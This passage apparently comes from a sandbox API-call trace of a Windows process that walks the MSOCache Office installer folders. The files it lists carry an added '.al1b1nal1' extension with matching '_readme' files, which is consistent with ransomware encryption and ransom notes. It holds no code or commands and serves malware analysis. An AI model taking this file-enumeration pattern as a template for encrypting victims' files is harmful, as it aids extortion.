FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84702f90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84702f90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8474f250, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8474f250, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x847753b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x847753b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 0 [0257.411] GetLastError () returned 0x12 [0257.411] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0257.411] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x847753b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.al1b1nal1", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842fea70, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x842fea70, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84702f90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84702f90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8474f250, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8474f250, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x847753b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.412] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x847753b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 0 [0257.412] GetLastError () returned 0x12 [0257.412] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0257.412] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0257.414] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0257.414] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0257.414] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8ae5c010, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.414] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8ae5c010, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0258.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0258.000] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0258.000] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0258.001] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0258.001] NtClose (Handle=0x18c) returned 0x0 [0258.001] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0258.001] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8ae5c010, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84bc5b90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84bc5b90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c37fb0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84c37fb0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.al1b1nal1", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8adc3a90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8adc3a90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ae5c010, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ae5c010, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 0 [0258.666] GetLastError () returned 0x12 [0258.666] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0258.666] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8ae5c010, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84bc5b90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84bc5b90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c37fb0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x84c37fb0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.al1b1nal1", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8adc3a90, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8adc3a90, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ae5c010, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0258.667] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ae5c010, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.al1b1nal1_readme", cAlternateFileName="")) returned 0 [0258.667] GetLastError () returned 0x12 [0258.667] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0258.667] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0258.668] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0258.668] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0258.668] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8b31ec10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0258.668] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8b31ec10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0258.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0258.913] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0258.913] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, 